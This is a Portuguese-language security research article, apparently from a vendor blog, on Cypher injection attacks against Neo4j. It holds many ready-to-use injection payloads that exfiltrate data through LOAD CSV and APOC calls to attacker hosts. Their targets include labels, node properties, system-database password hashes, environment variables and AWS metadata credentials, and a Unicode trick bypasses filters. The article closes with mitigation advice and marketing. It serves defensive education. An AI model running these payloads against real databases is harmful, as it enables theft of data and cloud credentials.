Com o aumento contínuo de bancos de dados gráficos, como o Neo4j, estamos vendo um aumento nos debates entre pesquisadores de segurança sobre os problemas encontrados nesses bancos de dados. No entanto, devido à nossa experiência com bancos de dados gráficos, desde o projeto de soluções complexas e escaláveis com bancos de dados gráficos até o ataque a eles, notamos uma lacuna entre as conversas públicas e o conhecimento de nossos pesquisadores de segurança sobre esses sistemas.
Neste artigo, iremos fornecer uma demonstração abrangente, técnica e orientada para a segurança das diferentes técnicas de ataque e evasão que usamos ao longo dos anos em cenários do mundo real. Nosso objetivo é ajudar a melhorar a segurança geral desse armazenamento de dados amplamente usado e dos aplicativos que dependem dele.
Cypher
Cypher é a linguagem de consulta gráfica do Neo4j que permite recuperar dados do gráfico. Ele usa “um tipo de sintaxe de arte ASCII”, no qual colchetes são utilizados para representar nós e parêntesis representam relacionamentos. Se isso soa familiar, é porque foi inspirado no SQL (de acordo com o Neo4j).
MATCH (a: Actor)-[:actedIn]->(m: Movie)<-[:directedBy]-(d:Director)
RETURN a, m, d
Ao contrário do SQL, o Cypher oferece suporte a parâmetros no nível do protocolo. Mas há restrições aos parâmetros. Por exemplo, labels – que são as tags usadas para classificar nós e relacionamentos (Actor, actin, Movie, Director e directBy no nosso exemplo acima – não podem ser parâmetros, mesmo que sejam dinâmicos.
Filtrar dados
Como o SQL, pode-se filtrar dados usando WHERE. Por exemplo:
MATCH (a: Actor)-[:actedIn]->(m: Movie)<-[:directedBy]-(d:Director)
WHERE a.name = 'Olivia Colman'
RETURN a, m, d
Mas há outra maneira muito comum de filtrar os resultados na própria instrução MATCH:
MATCH (a: Actor {name:‘Olivia Colman'})-[:actedIn]->(m: Movie)<-[:directedBy]-(d:Director)
RETURN a, m, d
A principal diferença é que o WHERE é muito mais versátil e suporta lógicas avançadas, como OR, IN, RegExes e outras.
Union
O Cypher, também, oferece suporte a instruções UNION, que permitem concatenar os resultados de diferentes consultas, desde que tenham as mesmas colunas. A forma como os dados são recuperados não importa, desde que as colunas tenham os mesmos nomes:
MATCH (a: Actor) RETURN a.name UNION RETURN 'some name' as name
Avançado
O Cyphers suporta lógica mais avançada na forma de procedimentos e funções.
Procedimentos – gerar dados. Usando apenas uma instrução “CALL”. Por exemplo, liste todos os rótulos
Funções – manipular dados. Por exemplo, determine o comprimento de uma lista. Ao contrário dos procedimentos, eles retornam um único valor. Pode ser usado em qualquer lugar onde expressões são permitidas, como declarações WITH, WHERE e RETURN.
CALL db.labels() YIELD label RETURN label
WITH [1,2,3] as l RETURN size(l)
Parâmetros
O Neo4j oferece suporte ao fornecimento de parâmetros para consultas, isso permite que os desenvolvedores passem a entrada com segurança, separadamente da consulta, portanto, as injeções não são possíveis.
Os parâmetros são passados ao servidor pelo cliente separadamente da própria consulta e podem ter diferentes tipos de valor, como string, list, int, bool ou map.
Na consulta, os parâmetros são referidos usando o cifrão ($).
Os parâmetros são uma ótima maneira de os desenvolvedores evitarem injeções, mas há limitações. Por exemplo, eles não podem ser usados para denotar rótulos ou nomes de campo.
Injeções
Como injetar
As injeções podem ser encontradas em qualquer lugar na consulta, e as instruções MATCH e WHERE são cenários comuns.
Quanto encontramos uma injeção, a forma de explorá-la depende do local dentro da consulta. Abaixo destacamos uma tabela de diferentes locais de injeção e exemplos de exploração:
Injectable query | Injection |
---|---|
MATCH (o) WHERE o.Id='{input}'
|
' OR 1=1 WITH 0 as _l00 {…} RETURN 1 //
|
MATCH (o) WHERE '{input}' = o.Id |
'=' {…} WITH 0 as _l00 RETURN 1 //
|
MATCH (o) WHERE o:{input}
|
a {…} WITH 0 as _l00 RETURN 1 //
|
MATCH (o) WHERE o:`{input}`
|
a` {...} WITH 0 as _l00 RETURN 1 //
|
MATCH (o {id:'{input}'})
|
'}) RETURN 1 UNION MATCH (n) {...} RETURN 1 //
|
MATCH (o:{input})
|
a) RETURN 1 UNION MATCH (n){...} RETURN 1//
|
MATCH (o:`{input}`)
|
a`) RETURN 1 UNION MATCH (n){...} RETURN 1 //
|
MATCH (o)-[r {id:'{input}'})]-(o2)
|
'}]-() RETURN 1 UNION MATCH (n){...} RETURN 1//
|
MATCH (o)-[r:{input}]-(o2)
|
a]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //
|
MATCH (o)-[r:`{input}`]-(o2)
|
a`]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //
|
Observe a declaração UNION:
- O motivo pelo qual UNION é necessário é que, se a instrução MATCH não retornar nada, o restante da consulta não será executado. Portanto, tudo o que é possível fazer lá simplesmente não será executado.
- Adiconamos RETURN 1 antes de UNION para que ambas as partes retornem as mesmas colunas, o que é necessário para a execução da consulta.
Então, o que há com a declaração WITH?
Usando WITH, podemos descartar todas as variáveis existentes. Isso é importante quando não sabemos qual é a consulta (mais sobre isso depois). Se nossa carga acidentalmente tentar definir uma variável que já existe, a execução da consulta falhará.
Naturalmente, se conhecermos a consulta e o banco de dados, nenhuma dessas técnicas será necessária. Podemos até manipular os dados retornados para, por sua vez, manipularmos o processo em vez apenas de abusar do servidor.
Pós-exploração
HTTP LOAD CSV
Apesar de mencionado em outros artigos, sempre vale a pena lembrar, LOAD CSV tenta carregar um csv do sistema de arquivos ou da web. O acesso ao sistema de arquivos geralmente é restrito, a menos que as restrições tenham sido explicitamente levantadas no arquivo de configuração (o que é improvável que seja o caso)
Mas um invasor pode usar a funcionalidade da Web para exfiltrar dados. Se a consulta for:
MATCH (o) WHEREo.Id='{input}' RETURN o
Então o atacante pode injetar a seguinte string:
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
Isso enviará todos os procedimentos instalados no banco de dados para o servidor do invasor.
APOC
O APOC (Awesome Procedures on Cypher) é um plug-in extremamente popular e com suporte oficial para Neo4j e que aprimora muito seus recursos. E a primeira coisa que um invasor irá verificar é se o APOC está instalado. Como ele adiciona muitas funções e procedimentos adicionais que os desenvolvedores podem usar em seu ambiente, isso significa mais poder para o desenvolvedor, mas também entrega mais poder para o invasor. Com isso, invasores podem usar os vários procedimentos e funções que o APOC oferece para realizar ataques mais avançados.
O APOC oferece funções que podem ser úteis para injeções. Essas funções podem serializar e codificar dados, facilitando muito a exfiltração de conteúdo confidencial.
apoc.convert.toJson – converte nós, mapas e muito mais em JSON
apoc.text.base64Encode – obtém uma string e a codifica como base64
Muito mais interessantes são os procedimentos que o APOC oferece. Eles são um divisor de águas para os invasores. HTTP:
apoc.load.jsonParams
apoc.load.csvParams
Vamos discutir mais sobre isso adiante no artigo.
Além disso, são interessantes os procedimentos e funções que permitem avaliar as consultas, entre eles:
- cypher.runFirstColumnMany — função que retorna os valores da primeira coluna como uma lista
- cypher.runFirstColumnSingle — função que retorna o primeiro valor da primeira coluna
- cypher.run — procedimento que executa uma consulta e retorna os resultados como um mapa
- cypher.runMany — procedimento que executa uma consulta ou várias consultas separadas por ponto e vírgula e retorna os resultados como um mapa. As consultas são executadas em uma transação diferente
Usando os procedimentos load. *params, um invasor pode especificar cabeçalhos, solicitar dados e usar métodos diferentes de GET
apoc.load.jsonParams
Arguments:Nome | Tipo | Exemplo | Necessário |
---|---|---|---|
urlOrKeyorBinary | Any | "http://attacker.com/json" | Sim |
headers | Map or null | { method: "POST", `Authorization`:"BEARER " + hacked_token} | Sim |
payload | String or null | Data | Sim |
path | String or null | Data | Não |
config | Map or null | Null | Não |
- urlOrKeyORBinary – Normalmente queremos uma URL, mas também é possível especificar os dados binários de um JSON.
- headers – Exceto para cabeçalhos http, também podemos usar este campo para especificar o método. Importante! No momento em que este artigo é escrito, se quisermos emitir uma solicitação get, não devemos especificar um método. ‘método’: GET não funcionará devido a um bug na implementação
- payload – Se quisermos enviar uma solicitação GET, isso deve ser nulo
- path – Se quisermos apenas um valor específico na respsta JSON do endpoint invocado, podemos usar isso como argumento para recuperar apenas o valor desse campo
- Config – Parâmetros de configuração adicionais para a consulta. Por exemplo, podemos dizer ao APOC que os dados recuperados são compactados da seguinte forma: {compression: 'DEFLTA'}
Valores de retorno:
Name | Description | Type | Example |
---|---|---|---|
value | The parsed JSON | MAP | {"Hello": "World"} |
apoc.load.csvParams
Note: in Neo4j 5, este procedimento foi movido para o APOC estendido
Arguments:
Name | Type | Example | Is Required |
---|---|---|---|
urlOrKeyorBinary | Any | "http://attacker.com/json" | Yes |
headers | Map or null | { method: "POST", `Authorization`:"BEARER " + hacked_token} | Yes |
payload | String or null | Data | Yes |
config | Map or null | {header: FALSE} | No |
- urlOrKeyORBinary – geralmente queremos uma URL, mas também é possível especificar os dados binários de um csv
- headers – exceto para cabeçalhos http, também podemos usar este campo para especificar o método.
Importante! Se quiser uma solicitação GET, NÃO DEVEMOS especificar um método. ‘método’: GET não funcionará devido a um bug na implementação - payload – Se quisermos enviar uma solicitação GET, isso deve ser nulo
- config – Podemos usar config, por exemplo, para dizer ao APOC que os dados estão compactados. Por exemplo:
{compression: ‘DEFLTA'}
Também podemos usar config para alterar o delimitador, as aspas, o caractere de escape, o separador de matriz, pular linhas ou se o CSV tem um alinha de cabeçalho ou não.
Valores de retorno:
Name | Description | Type | Example |
---|---|---|---|
lineNo | The line number of the value | Integer | 0 |
list | List of values in a row | List⟨string⟩ | ["a","b","c"] |
map | If headers are present, map will map the header with the value | Map | {"A: "a"} |
Exemplos:
CALL apoc.load.jsonParams("http://victim.internal/api/user",{ method: "POST", `Authorization`:"BEARER " + hacked_token},'{"name":"attacker", "password":"rockyou1"}',"") yield value as value
CALL apoc.load.csvParams("http://victim.internal/api/me",{ `Authorization`:"BEARER " + hacked_token}, null,{header:FALSE}) yield list
Extraindo dados do Neo4J
Existem muitas funções internas e o APOC que podem nos ajudar a obter informações sobre o banco de dados.
Obter rótulos
Usando o método interno db.labels, é possível listar todos os rótulos existentes.
Argurmentos: Nenhum
Valores de retorno:
Name | Description | Type | Example |
---|---|---|---|
label | Names of the labels | Rows of strings | Actor Movie |
Exemplo de injeção:
'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip /?l='+label as l RETURN 0 as _0
Obtenha as propriedades de um nó e seus valores.
As teclas de função integradas podem ser usadas para listar as chaves das propriedades
Argumentos:
- Um nó ou um mapa
Valor de retorno:
- As chaves do nó/mapa
É possível recuperar o valor de uma propriedade do nós se você tratá-lo como um mapa: n[key], para que possamos usar LOAD CSV para exfiltrar os dados. Certifique-se de usar toString
Exemplo de injeção:
' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
AVISO: Isso não funcionará se um dos campos for uma lista ou um mapa.
Se o APOC estiver disponível, há uma maneira melhor de fazer isso usando o apoc.convert.toJson
' OR 1=1 WITH 0 as _0 MATCH (n) LOAD CSV FROM 'http://10.0.2.4:8000/?' + apoc.convert.toJson(n) AS l RETURN 0 as _0 //
Argumentos: Qualquer coisa
Valor de retorno:
- String — the JSON representation of the input
'}) RETURN 0 as _0 UNION MATCH (f:Flag) LOAD CSV FROM 'http://10.0.2.4:8000/?json='+apoc.convert.toJson(f) as l RETURN 0 as _0 //
Obtenha a versão do servidor
Uma maneira de obter a versão do servidor é usar o procedimento dbms.components()
Argumento: nenhum
Valor de retorno:
Name | Description | Type | Example |
---|---|---|---|
name | The name of the component | String | Neo4j Kernel |
versions | A list of versions | List⟨String⟩ | [“4.4.10”] |
edition | The component's edition | String | community |
Exemplo de injeção:
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
Obter a consulta em execução
Neo4j 4
Existem várias maneiras de obter a consulta em execução. O mais fácil é usar o procedimento dmbs.listQueries()
Argumento: nenhum
Valores de retorno: Muitos, entre eles:
Name | Description | Type | Example |
---|---|---|---|
query | The query itself | String | MATCH (o) RETURN o |
username | The name of the user that has executed the query | String | Neo4j_user |
parameters | The parameters with which the query is running | Map | main |
database | The name of the database | String | Neo4j |
Exemplo de injeção:
' OR 1=1 call dbms.listQueries() yield query LOAD CSV FROM 'http://10.0.2.4:8000/?' + query as l RETURN 1 //
Neo4J 5
Dbms.listQueries foi removido. Em vez disso, podemos usar SHOW TRANSACTIONS. Existem duas limitações principais:
Consultas SHOW não são injetáveis
Ao contrário de listQueries, podemos ver apenas a consulta atualmente executada na transação e não todas elas.
Se o núcleo APOC estiver instalado, podemos usá-lo para executar SHOW TRANSACTIONS. Se executarmos na mesma transação, apenas SHOW TRANSACTIONS será retornado em vez da consulta que estamos tentando ver. Podemos usar apoc.cypher.runMany para executar SHOW TRANSACTIONS, por que, ao contrário de outras funções e procedimentos de apoc.cypher, ele é executado em uma transação diferente.
' OR 1=1 call apoc.cypher.runMany("SHOW TRANSACTIONS yield currentQuery RETURN currentQuery",{}) yield result LOAD CSV FROM 'http://10.0.2.4:8000/?' + result['currentQuery'] as l RETURN 1//
Listar todas as funções e métodos
Neo4j 4
Usando os procedimentos embutidos dbms.functions() e dbms.procedures() é possível listar todas as funções e procedimentos.
Ambos não obtêm parâmetros e compartilha os seguintes valores de retorno:
Name | Description | Type | Example |
---|---|---|---|
name | The name of the function or procedure | String | abs |
signature | The signature — how to call it and return values | String | "abs(input :: INTEGER?) :: (INTEGER?)" |
description | Describes what the function/procedure does | String | "Returns the absolute value of an integer." |
Existem outros valores de retorno que são menos relevantes para este artigo.
Exemplo de injeção:
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
Neo4j 5
Esses procedimentos foram removidos no Neo4j 5 e já eram considerados obsoletos (mas funcionavam) no Neo4j 4.
Em vez disso, podemos usar SHOW PROCEDURES e SHOW FUNCTIONS.
Mostrar consultas que não podem ser injetadas
Se o núcleo APOC estiver instalado, podemos usar qualquer um dos procedimentos ou funções que executam consultas para listar funções e procedimentos.
' OR 1=1 WITH apoc.cypher.runFirstColumnMany("SHOW FUNCTIONS YIELD name RETURN name",{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
' OR 1=1 CALL apoc.cypher.run("SHOW PROCEDURES yield name RETURN name",{}) yield value
LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 //
Obter banco de dados do sistema (incluindo hashes de senha)
O banco de dados do sistema é um banco de dados Neo4j especial que normalmente não pode ser consultado. Ele contém dados interessantes armazenados como nós:
- Bancos de dados
- Funções
- Usuários (incluindo o hasj da senha!)
Usando o APOC, é possível recuperar os nós, incluindo os hashes. Somente administradores podem fazer isso, mas na edição gratuita do Neo4j há apenas um administrador e nenhum outro usuário, então não é incomum encontrar-se executando como administrador.
Use o procedimento apoc.systemdb.graph() para recuperar os dados.
Argumentos: Nenhum
Valores de retorno:
Name | Type | Description |
---|---|---|
Nodes | List⟨Node⟩ | The nodes in the database |
Relationships | List⟨Relationship⟩ | The relationships in the database |
O Neo4j funciona de maneira inesperada com esses nós: se você apenas retornar os nós, poderá ver seus dados. Mas se tentar obter um campo específico, isso não funcionará. Isso porque o Neo4j irá procurar a ID do nó e retornará o campo do nó com o mesmo |I|D no banco de dados atual.
Uma solução é usar a função apoc.convert.toJson(), que obtém qualquer entrada e a converte em JSON.
Exemplo de injeção:
' OR 1=1 WITH 1 as a call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.0.2.4:8000/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 //
Observações: No Neo4j 5, os procedimentos foram movidos para APCO estendido.
O hash
O Neo4j usa SimpleHash do Apache Shiro para gerar o hash.
Abaixo está um pseudo-código (AKA python) do processo de hash:
def hash(password, salt, iterations):
data = salt+password
for i in range(iterations):
m = sha256()
m.update(data)
data = m.digest()
return hexlify(data)
O resultado é armazenado como uma string de valores separados por vírgula:
- Algoritmo Hash
- Hash
- Salt
- Interações
Por exemplo:
SHA-256, 8a80d3ba24d91ef934ce87c6e018d4c17efc939d5950f92c19ea29d7e88b562c,a92f9b1c571bf00e0483effbf39c4a13d136040af4e256d5a978d265308f7270,1024
Que significa:
- O algoritmo has é SHA256
- O hash em si é 8a80d3ba24d91ef934ce87c6e018d4c17efc939d5950f92c19ea29d7e88b562c
- O salt é a92f9b1c571bf00e0483effbf39c4a13d136040af4e256d5a978d265308f7270
- O número de iterações é 1024 (que é o padrão para Neo4j)
A senha, alias, é “Neo4j”. Não use esta senha.
Variáveis ambientais
Frequentemente, desenvolvedores e engenheiros de DevOps usam variáveis de ambiente para armazenar segredos, fato que os torna um alvo interessante. Além disso, um red-teamer pode aprender muito sobre o alvo a partir da variável de ambiente, que pode conter informações cruciais para o movimento lateral na rede da vítima.
Usando APOC, é possível recuperar a variável de ambiente por meio do procedimento apoc.config.map() ou apoc.config.list().
Esses procedimentos só podem ser usados se estiverem incluídos na lista de procedimentos irrestritos no arquivo conf (dbms.sexcurity.procedures.unrestricted). Isso é mais comum do que se imagina, e pesquisar no Google o nome da configuração resulta em muitos sites e guias que aconselham a adicionar o valor “apoc.*”, que permite todos os procedimentos APOC.
Eles retornam a configuração do servidor, incluindo java e o sistema operacional, o que é interessante, claro, mas também retornam as variáveis de ambiente.
Os dois procedimentos são bastante semelhantes. A diferença é o valor de retorno.
Argumento: Nenhum
Valores de retorno:
apoc.config.list
Name | Type | Description |
---|---|---|
key | Rows of strings | The name of the configuration value or env var |
value | Rows of strings | The value of the configuration value or env var |
apoc.config.map
Name | Type | Description |
---|---|---|
map | Map | A key-value map |
Exemplo de injeção:
' OR 1=1 CALL apoc.config.list() YIELD key, value LOAD CSV FROM 'http://10.0.2.4:8000/?'+key+"="+" A B C" as l RETURN 1 //
Nota: no Neo4j 5 os procedimentos foram movidos para APOC estendido.
Movimento lateral na nuvem
Em provedores de nuvem como AWS, GCP e Azure, as máquinas virtuais possuem um servidor de metadados que pode fornecer credenciais para a nuvem.
AWS
No AWS, o endereço do servidor de metadados é 169.254.169.254. Há muita informação lá, mas estamos focados em credenciais. Se a instância tiver um perfil de instância, que por sua vez tem uma função, então podemos obter suas credenciais.
São necessários três valores:
- AWS_ACCESS_KEY_ID
- AWS_SECRET_ACCESS_KEY
- AWS_SESSION_TOKEN
Precisamos definir esses valores como variáveis de ambientes ou colocá-los em um perfil de arquivo .aws/credencials e, em seguida, usar AWS CLI. Por exemplo:
> aws sts get-caller-identity
Ou
> aws s3 list
As ferramentas de exploração da AWS, como Pacu, também podem usar essas credenciais.
A AWS tem dois modes de servidor de metadados: IMDSv1 e IMDSv2. O IMDSv2 é a versão mais segura, mas a configuração padrão é que ambas as versões estejam ativas.
IMDSv1
Esta é a versão mais simples, menos segura, mas muito comum.
Como invasor, tudo o que você precis fazer é enviar um GET para a seguinte URL:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
A resposta é tecnicamente uma lista de funções, embora normalmente haja apenas uma função atribuída. Depois de conhecer a função, envie um GET para a seguinte URL:
http://169.254.169.254/latest/meta-data/iam/security-credentials/{role}
Embora o formato seja JSON, também podemos usar LOAD CSV para fazer a requisição:
LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l
O resultado deve ficar assim:
[{"l":["{"]},{"l":[" \"Code\" : \"Success\"",null]},{"l":[" \"LastUpdated\" : \"2022-08-07T06:23:25Z\"",null]},{"l":[" \"Type\" : \"AWS-HMAC\"",null]},{"l":[" \"AccessKeyId\" : \"ASIAX****WZ\"",null]},{"l":[" \"SecretAccessKey\" : \"xKdQRduW****\"",null]},{"l":[" \"Token\" : \"IQoJb3JpZ2luX2Vj********a==\"",null]}
Conhecemos o tamanho e a estrutura da resposta, então podemos exfiltrar tudo:
LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l
WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _
Isso enviará ao nosso servidor uma solicitação que contém primeiro a chave, depois o segredo da chave de acesso e, eventualmente, o token de acesso.
IMDSv2
É a versão mais segura, projetada para proteger o servidor de metadados de simples falsificações de solicitação do lado do servidor (SSRFs).
Para usar o servidor de metadados, o invasor primeiro precisa enviar um PUSH para a seguinte URL:
http://169.254.169.254/latest/api/token
O servidor retornará um token que devemos colocar nas chamadas subsequentes ao servidor de metadados no cabeçalho: X-aws-ec2-metadata-token.
Isso levanta dois problemas: precisamos especificar cabeçalhos e usar métodos diferentes de GET.
LOAD CSV não pode fazer nenhuma dessas coisas, mas podemos usar apoc.load.csvParams para obter o token e a função e, em seguida, apoc.load.jsonParams para obter as próprias credenciais. O motivo pelo qual usamo csvParams é que a resposta não é um JSON válido.
Para obter o token:
CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token RETURN token
Para obter a função e as credenciais:
CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token
CALL apoc.load.csvParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/", { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role
CALL apoc.load.jsonParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role,{ `X-aws-ec2-metadata-token`:token },null,"") yield value as value
Observação: as duas últimas solicitação são GET. Para disparar com sucesso uma solicitação GET usando apoc.load.*Params, não devemos especificar um método.
Observação: o procedimento apoc.load.cvsParams foi movido para APOC estendido no Neo4j 5.
Comandos de chamada
É possível chamar comandos AWS diretamente na instância Neo4j.
A AWS usa uma API baseada em XML para executar comandos e recuperar informações. Embora não haja apoc.load.xmlParams, é possível usar apoc.load.csvParams para recuperar XMLs. Ao alterar todos os caracteres especiais para caracteres binários que nunca aparecerão em um xml válido, podemos especificar cabeçalhos e o método e recuperar XMLs.
CALL apoc.load.csvParams('https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08', {`X-Amz-Date`:$date, `Authorization`: $signed_token, `X-Amz-Security-Token`:$token}, null, ) YIELD list
- $data is formatado como %Y%m%dT%H%M%SZ
- $token é o token que recebemos do servidor de metadados
- $signed_token é calculado de acordo com https://docs.aws.amazon.com/general/latest/gr/signing_aws_api_requests.html
Truques
Injeção de Unicode
^No Neo4j >= v4.2.0, muitas vezes é possível injetar Unicode usando “/uXXXX”. Por exemplo, você pode usar este método se o servidor tentar remover caracters como ‘, “, ` e assim por diante.
Isso pode não funcionar se uma letra seguir a sequência de escape Unicode. É seguro adicionar um espaço depois ou outra anotação Unicode.
Isso geralmente é útil quando há um WAF. Mas há outros casos em que esse recursos possibilita a exploração. Por exemplo, se o servidor remove as aspas simples e a consulta aparece da seguinte forma:
MATCH (a: {name: '$INPUT'}) RETURN a
É possível injetar:
\u0027 }) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM "http://attacker/ "+ label RETURN 0 as _o //
Proteja seus dados
- Proteja seu código – sempre use parâmetros se possível. Se isso não for uma opção, certifique-se de higienizar a entrada do usuário
- Certifique-se de que seu Neo4j esteja configurdo para permitir apenas procedimentos e funções que você precisa e usa. Use a configuração dbms.security.procedures.allowlist e especifique os procesimentos que deseja permitir
- Em versões mais antigas (até Neo4j 4.1) é chamado dbms.security. procedures.whitelist
- Se você trabalha com o AWS, certifique-se de usar IMDSv2
- Respeite sempre o princípio do menor privilégio. Apenas conceda ao servidor as permissões necessárias para o seu trabalho. A máquina não deve ter outras permissões
Concluindo
O Neo4j é uma ferramenta poderosa, usada e amada por desenvolvedores e especialistas em segurança. Como todas as ferramentas poderosas, já riscos a serem considerados ao usar a ferramenta, riscos que a maioria das pessoas não conhece ou entende. Esperamos que este artigo tenha ajudado a educá-lo sobre as diferentes maneiras pelas quais um invasor pode abusar do Neo4J, para que riscos sejam mitigados. Também esperamos que este artigo ajude especialistas em segurança a melhorar a segurança de sistemas e aplicativos que avaliam.
O que você deve fazer agora
Citamos estão algumas maneiras pelas quais podemos ajudá-lo a começar a jornada para reduzir o risco de dados da sua empresa.
Agende uma sessão de demonstração conosco, iremos tirar todas as suas dúvidas e ajudá-lo a ver se a Varonis é adequada para suas necessidades.
Baixe nosso relatório gratuito e conheça os riscos associados à exposição de dados SaaS.
O que devo fazer agora?
Listamos abaixo três recomendações para reduzir os riscos de dados na sua organização:
Agende uma demonstração conosco: Veja a usabilidade de Varonis em uma sessão personalizada com base nas necessidades de segurança de dados da sua organização. Responderemos a todas as suas perguntas.
Veja um exemplo do nosso Relatório de Risco de Dados: Conheça as ameaças que podem permanecer no seu ambiente. O Relatório da Varonis é gratuito e demonstra claramente como realizar a remediação automatizada.
Siga-nos no LinkedIn, YouTube e X (Twitter): Obtenha insights detalhados sobre todos os aspectos da segurança de dados, incluindo DSPM, detecção de ameaças, segurança de IA, entre outros.